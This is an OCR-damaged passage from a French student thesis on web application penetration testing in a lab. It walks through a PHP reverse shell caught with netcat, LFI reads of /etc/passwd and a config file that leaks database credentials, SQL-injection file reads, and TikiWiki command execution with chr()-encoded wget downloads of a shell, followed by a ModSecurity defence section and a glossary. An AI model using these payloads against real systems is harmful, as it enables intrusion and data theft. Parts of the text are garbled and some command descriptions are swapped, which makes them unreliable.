l Premiérement, on va modifier notre shell en utilisant cette commande.
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Ensuite, nous attribuons au Shell ’adresse IP de la machine de celui qui fait le test
d’intrusion et le port 4444.

On va introduire (uploader) le fichier s.php

Image: | froot/Desktop/ s.php [ Browse... |

[ Add event |

Nous utilisons I’outil Netcat a partir de cette commande pour qu’il entende
(listening) sur le port 4444,

root@bt: ~/Desktop

I s.php 12-May-2012 16:35 5.4K

Nous exécutons le fichier Shell dans la barre d’adresse afin d’ouvrir une session en
tant que serveur apache

& Index of /iiles - Mozilla Firefox |

Fichier Edition Affichage Allera Marque-pages  Outils 2
g I £l
B\ - P

> 2 http://192.168.5.130/files/t1.php

Voila la fenétre de session aprés 1’exécution de fichier Shell, maintenant, on peut

exceuter des commandes systéme pour avoir le controle du systeme (suppression,
création...)
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2.2.3. Faille include :

Dans cette partie, On va présenter comment détecter et exploiter la faille
include. Premiérement, on utilise dirbuster pour visualiser 1’arborescence d’un site
Web.

Comment utiliser dirbuster :
Dans le champ Target URL, on écrit I’adresse IP de notre site qu’on veut en

r I .
I’]Dﬂo oar cag ranartnirac
uv&u&\u [CAwIs J.Vl.l\il L3 V3 S RN N

On choisit une liste qui contient les noms de répertoires les plus utilisés par les
développeurs afin que le dirbuster compare entre les noms de la liste et les noms des
répertoires de site qui se retrouvent dans le répertoire racine du serveur pour enfin les
faire dégager.

&
%

File Options About Help

Target URL (eg http://fexample.com:80/)
http//192.168.5.130 ]

Work Method () Use GET requests o... (2 Auto Switch (HEAD and GET)

Number Of Threads ) ;50 Threads [_| Go Faster

Select scanning type: (3) Ust based brute force () Pure Brute Force

File with list of dirsffiles

fpentest/web/dirbuster/directon-list-2. 3-small. bt | €L Browse | [ @ List Info.

Char set [32A-20-9%20- =] sintength [1 | maxiength [8 1

Select starting options: (5 Standard start point () URL Nu==

Brute Force Dirs [7] Be Recursive Dir to start with [/ ]
Brute Force Flles [[] Use Blank Extention File extention [php |
URL to fuzz - ftest. htmiturl= {dir}.asp

’ |
[(Eiext | [ start_|

Please complete the test details

Voici les répertoires que le dirbuster a retrouvés.

Flle  COptlons About Help

http://192.168.5.130:80/
Ust View ' Tree View |

(L) Directoryi Stucture ) [ T "1 " Responceé Cade 11T T[T T T ‘Responce Size |11 ]
&-C3 css 200 1055 =
®8-03 lib 200 1063
#-C1 manual 200 7928
B-C3 Js 200 1259
@3 conf 403 474 =
&3 Inc 200 1440
[ index.php 200 336
&0 sql 200 1052
@3- error 403 475
-1 logs 401 732
#-C3 actlons 200 2381
&--C3 phpmyadmin - zoo 8077 I~

Current speed: 0 requests/sec (Select and right click for more options)
Average speed: (T) 193, (C) 0 requests/sec

Parse Queue Size: 901 current number of running threads: S0

Total Requests: 19734/30331241 [ | [€hangs |

Time To Finish: ~

Program paused} 41127
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Parmi les répertoires et les fichiers que le dirbuster a retrouvés, le fichier index. php.
Pour afficher le code source de la page index, on utilise la fonction « load_file() » a
fin de trouver une faille include dans le code source.

& CTF 6 - Widgets Inc - Mozilla Frefox L
Fichier Edition ~Affichage Allera Marque-

r‘ii';] 5__1 @ L http:/a’192.168.5.1301’index.php?id=31+union+select+1,Ioad_ﬁle(‘/var/www/html/’index.php'),3,4,5,6,7

pages Outils 2

Nous avons trouvé une faille « include » dans le fichier action.php et pour la tester
on essaye d’afficher le contenue du fichier /etc/passwd

@ Mozilla Firefox ;
Fichier Edition Affichage Allera Marque-pages Outils 2

/ i - 3 ; ; :
\rLJ . I_\ ¥ [?_; [.;;" @ Ll http:;’[192.168.5‘130/a;tmnsﬁ!ogm.php?actron:..1'../'..,/..,:’.;_r'..,l’eﬁc.!passwd%OO

On a inclure le fichier systtme config.ini pour voir s’il y’a des informations qui
peuvent étre utile. Dans ce schéma, on a trouvé quelques formations propres a la base
de données, par exemple, le nom de la base de données, son utilisateur et son mot de
passe.

@Mozil!a Firefox ‘l";‘:i‘:; g i 5
Fichier Edition  Affichage Allera Marque-pages Outils 2

; o =
@ - - & (0 9 (L mpya921685130/actions/login phpZactions../../cont/config.ni%00

; ; This is the configuration file ; database_host = localhost database_pass = 45kkald?81aLKD database_user = cms_user database_db = cms

Nous avons vu précédemment que parmi les répertoires que le dirbuster a retrouvés
le répertoire phpmyadmin, pour ce faire, nous accédons a ce répertoire, comme le
montre le schéma suivant.

& phpMyAdmin - Mozilla Firefox
Fichier Edition Affichage  Allera Marque-pages Outils

1 o

<@ - P - & 3 T} [ ntp//192.168.5130/phpmyadmin/

F=Jo¥="T4 :
Wirelcome to php My Adrmir

| E3 mNNo activity within 1800 seconds: please log i sgoim 1

Langruacge
| Englisn

o Fen

Usarramarmeos
Fasswvworcl:s [

L s=]

92



Cas Pratique
L e e e e I e O A P S A et

Quand nous introduisons 1’username et le password qu’on a trouvés, nous pouvons
accéder a la toutes les bases de données disponibles et cela nous permet de faire
n’importe qu’elle chose.

) 1621685130/ focalhost / cms | phipMyAderin 300 - Mozilla Feefor 1] sl 47 i o5 NS
Fichier Ediion Affichege  Mlerd  Merquepages Outils 2
: O | 4 hipan9228.5130 P sz 5@ ok [l
1521685130/ localhost/ s | php-.. || hp//A9236851307a././conffconfgin | [%]
phpW;,‘,\:‘sz;J 8 Serveur: localhost:2306 » (& Base de données: cms
[ Stuctore  @SQLJRechercher  @Requite  ZExporter  Jalmportor  9@0pérations ¢ Priviléges 3 Supprimer
&)= @ L o = & & 5 g Priviley { Supprime
@@ Table ! Type i Tallle  Perte
Bage de donnes } 5@ X 20 MySAM latin_swedigh i 0,7 P
om: =
50) = @ X €549 MyiSAM  Jatint_swedish ci
cms (3) : B X 1 MyISAM lafind_swedish i 2.0 s
B ewent 4574 MyISAM latin1_swedish ci 467,4 Kio 8,2 Kio
L Pourlasélection: [v]
B -
primatle JR Dictic
r «d Créer une nouvelle ble sur la base cins
Nom: Nombre de champs:
[ Bxgouter |

2.3. La deuxiéme application web :

Nous allons présenter une autre application web qui contient les vulnérabilités
du genre commande exécution, cette image s’agit de I'interface de site que nous

allons par la suite en faire le test d’intrusion.

T Homerage . S

LB A ttp://192.168.5.128ikiwikijtiki-index. phe|

m BackTrack Linux  j Offensive Security |§, Exploit-DB Alrcrack-ng BESEORG.org [ Music
[This s TikiWiki 1.9.5 -Sitius- 5 2002-2008 by the Tiki commmenity Wed 12 of Out, 2011 [06:39 UTC]

Menu

Home HomePage

=] ]

Crested by i st modfizaton: Saturday 06 of Agatt, 2011 [03:33:17 UTE] by xmhy

[source] [history! [simiar]
Tikaviki Assistart

Thank you for instaliing

TRi

Click the :: cpticns in the Meru

fer more eqiens. Flease, also

see TitiMovics for more setup

details.

CEETY g2t | ROF )

S Wik .

Premiérement, on va faire le scanne de port en utilisant I’utilitaire nmap, et voici
I’image qui nous représente le résultat de scan.

\
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e s R AT root@bt: /

File Edit View Terminal Help 5
root@bt: '# nmap -sS -sV -0 192.168.5.128 A

Starting Nmap 5.59BETAl1 ( http://nmap.org ) at 2012-06-05 09:51 EDT
Nmap scan report for 192.168.5.128

Host is up (0.00046s latency).

Not shown: 995 closed ports

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.6pl Debian Sbuildl (protocol 2.0)
80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.3.3-7+squeezel wi

th Suhosin-Patch)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
10000/tcp open http MiniServ ©0.01 (Webmin httpd)

MAC Address: 00:0C:29:B2:47:99 (VMware)

Device type: general purpose

Running: Linux 2.6.X

0S details: Linux 2.6.22 (ARM)

Network Distance: 1 hop

Service Info: 0S: Linux

Deuxiémement, nous ferons le scanne de vulnérabilités en utilisant I’utilitaire Nikto,
ce dernier nous a détecté une vulnérabilité comme elle apparait dans I’image ci-
dessous.

=] : { o root@bt: /pentest/web/nikto

File Edit View Terminal Help

root@bt: ‘ t E kte# . /nikto.pl -h 192.168.5.128
- Nikto v2.1.4

+ Target IP: 192.168.5.128

+ Target Hostname: 192.168.5.128

+ Target Port: 80

+ Start Time: 2012-06-06 09:52:42

+ 0SVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals

potentially sensitive information via certain HTTP requests that contain specifi

¢ QUERY strings.

+ OSVDB-3092: /c/: This might be interesting...

+ OSVDB-3268: /php/: Directory indexing found.

+ 0SVDB-3092: /php/: This might be interesting...

+ 0SVDB-3092: /phpmyadmin/: phpMyAdmin is for managing MySQL databases, and shou

ld be protected or limited to authorized hosts.

+ OSVDB-3268: /icons/: Directory indexing found.

+ - 5 . 1t _file found

0SVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&7[]=x.tan.phpinfo()&t=png
title=http://cirt.net/rtiinc.txt?: TikiWiki contains a vulnerability which allows remote attacke
s _to execute arbitrary PHP code.

+ 6448 items checked: 2 error(s) and 14 item(s) reported on remote host

+ [nd Time: 2012-06-06 09:53:58 (76 seconds)

Ce Nikto nous a affiché 1’url qui contient la fonction phpinfo(), nous , nous
allons essayer de modifier cet url et cela en remplacant la fonction phpinfp() par la
fonction system(). Quand on procede a I’exécution d’une commande, par exemple
Is, on la met comme paramétre dans la fonction system (), cette commande 1s nous
afficherait tous les fichiers qui sont disponibles dans le répertoire racine de
I’application tikiwiki.

Et I’image qui suit nous démontre cette démarche.
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. Hpi/192.168.3.128tkiwikifiki-graph_fomula php7w=18h=165=16min=16max=264[]=x.tan.systemils)&t=pngaditie=

N BackTrack Linux i~ Offensive Security 3, EXploit-DB~ T Aircrack-ng SESEORG.0rg™ RMUSIc s
INSTALL README _htaccess about.php article_image.php b backups banner click.php hanner image.php cate

comments.php commxmirpe.php copyright.txt copyrights.php db display_banner.php doc dump favicon.png files
get _strings.php green.favicon.png help.php htaccess.sh images img index.php jhot.php lang Lib license.txt maps

Comme nous avons pu exécuter une simple commande, par exemple ls, on peut
exécuter n’importe qu’elle commande et cela en codant cette commande en utilisant
la fonction char(), nous pouvons aussi télécharger un fichier Shell dans le répertoire
tikiwiki & partir de la machine de celui qui fait le test. Voici un petit exemple qui
nous montre ce téléchargement.

wget http://192.168.5.133/s/r.php

chr(119).chr(103).chr(101).chr(116).chr(32) chr( 104).chr(116).chr(116).chr(112).c
(58).chr(47).chr(47).chr(49).chr(57).chr(50).chr(46).chr(49).chr(54).chr(56).chr(46).
chr(53).chr(46).chr(49).chr(51).chr(51).chr(47).chr(115).chr(47).chr(114).chr(46).chr
(112).chr(104).chr(112)

mkdir b : pour créer une répertoire b
chr(109).chr(107).chr(100).chr(105).chr(114).chr(32).chr(98)

rmdir b : pour supprimer une répertoire secret

chr(114).chr(109).chr(100).chr(105).chr(114).chr(32).chr(98)

rmdir secret : pour créer une répertoire secret
chr(114).chr(109).chr(100).chr(105).chr(114).chr(32).chr(115).chr(101).chr(99
).chr(114).chr(101).chr(116)

mkdir secret : pour supprimer une répertoire secret

chr(109).chr(107).chr(100).chr(105).chr(114).chr(32).chr(115).chr(101).chr(99).ch(
114).chr(101).chr(116)
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{ ] httpsi/jlocalhost 8888/ & | Allera
B e
!W ' ModSecurity Console BREACH
Home  Alerts  Sensors  Transactons Reports  Administraton  About Setings
Sensor Overview Actuly Today
z J Cansole: Today
Sensor LastAlertTimestamp  Active Alerts  Highest Severity 1,0
: 2012-08-12 S e
Admit 08:15:34 ; i 0,5 {4
test a §
0,0
12:00 18:00 00:00 06:00

M transactions Daterts

Recently Observed Transactions
Activity This Week

&

[E https:f/localhost:8888viewAlertsGroup?group=sensor&key=102 & ,l Aller a

| Update & Close || Add star || Remove star | | << Backto All Alerts |

(i | D Sensor Date/Time Sowrce/Port Hostmame/URI

O 15508 admin 2012-06-12 127.0.0.1 HOsTOALE localhost tiETHon: POST  upl ipentestadmin.php
=== 08:15:34 PoRT 51204 @ Access denied with code 403 (phase 2). Pattern match [=]" at ARGS_POST:login.
2012-06-12 127.0.0.1 HOSTHALE Jocalhost tiETHon GET UFL /pentestisearch.php

15507 admi
O 15507 admin 08:14:07 FORT 51193 @ Access denied with code 403 (phase 2). Pattern maltch "<[[:space:]]*script” at ARGS:search.

Pesalution: | Mot resalved ) 2| category. | Undetermined $| comment

| Update & Close || Add star || Remove star |
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Dans ce chapitre, nous avons bien détaillé pratiquement comment détecter les

failles et comment les exploiter et les différentes méthodes de sécurisation
(manuelle : cote développement et automatique en utilisant le Mode Security).
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Conclusion générale

Conclusion générale:

Le domaine de sécurit¢ informatique reste un domaine trés vaste et

indispensable, pour cela, il faut donner une grande importance a4 ce domaine et le
prendre en considération parce que, de nos jours, toutes les entreprises utilisent des
applications web qui contiennent des failles que la majorité vient a cause du mauvais
développement. Dans notre mémoire de fin d’étude, nous avons exposé le role
primordiale de la sécurité¢ informatique pour la préservation des données, on a
également étudié les failles et leurs dangers sur ces données tout en mettant en
exergue le role du test d’intrusion de faire découvrir les vulnérabilités et comment les
exploiter et on a proposé des solutions efficaces afin d’empécher les attaques des

hackers.

Pour réussir la sécurisation des applications web, le code source fait par le
développeur doit étre sécurisé, ce développeur doit avoir une vision globale sur les
failles web, en outre, nous devons utiliser les pares feux applicatif pour assurer plus

de sécurité.

Si ces entre nt pas ses applications web, elles peuvent étre

accessibles par les hackers, pour ce fait, et dans le futur, nous voudrons réussir une

application qui fait le tes d’intrusion.



Annexe

Définition d’IIS :
Internet Information Services, communément appelé IIS, est le logiciel de serveur
services Web (ou FTP, SMTP, HTTP etc.) de la plateforme Windows NT. [Site 11]

Définition de Backdoor :
Backdoor est un outil de pirate créant une faille de sécurité en maintenant ouvert un
port de communication. [Site 12]

Définition de Livre d'or :

Un livre d'or est un livre (ou une page web, ou tout autre support d'écrit) ot des
personnes inscrivent des félicitations sur quelque chose (exemples : un lieu, un
événement... ).

Livre d'ore est un Registre dans lequel les visiteurs d'un lieu peuvent livrer leurs
impressions, leurs commentaires. [Site 11]

Définition de shell :

Le shell est une interface texte qui permet a l'utilisateur de communiquer avec
l'ordinateur. Le plus connu est celui de DOS (qui est encore émulée sous Windows).
Mais bien d'autres existent sous d'autres systémes tels que ¢99Shell, Bash...

Le shell du systeme d'exploitation peut prendre deux formes distinctes :

1. interpréteur de lignes de commandes (CLI, Command Line Interface) : le
programme fonctionne alors a partir d'instructions en mode texte.

2. shell graphique fournissant une interface graphique pour l'utilisateur (GUI,
Graphical User Interface). [Site 13]

Définition de HTTP (Hyper Text Transfer Protocol):

C’est un Protocole de niveau application, Basé sur le protocole de niveau transport
TCP avec du Mode connecté et service de communication fiable. Permet d’accéder
aux ressources d’un serveur HTTP (Web).

HTTP Fonctionne selon le principe de requéte/réponse :

Le client HTTP transmet une requéte comportant des informations sur le document
demandé

Le serveur renvoie le document si disponible ou, le cas échéant, un message d’erreur
Les Méthodes du protocole Get , Post, Head. [Cours]

Définition URL (Uniform Resource Locator):
Une URL localise une ressource. Dans le cas du protocole HTTP, une URL permet
de localiser :
Une page HTML, Un fichier texte, une image, Un fichier php Etc.
Format d’une URL http :
HTTP://<host>:<port>/<path>?<query>#<fragment>
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Encodage dans une URL :
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Exemple:; / 7 &
& = %26 et un espace > %20. [Cours]

Définition de Port :

Un port est un point d'entré & un service (service web, service mail,...) sur un
équipement (pc, serveur,...) connecié 4 un réseau.

Exemple (HTTP) port 80, (FTP) port 21.

Définition de Cookies :

Les cookies vont permettre au serveur de mémoriser des données du coté client.

Cela permet un suivi du client d’une requéte a Pautre et d’implémenter ainsi la
notion de session. [Cours]

Définition DMZ (Zone démilitarisé) :
C’un VLAN (sous réseau) qui contient des applications web accessible depuis

. . ;
Pinternet afin A’emnércher lac intarnantec A’arcédde
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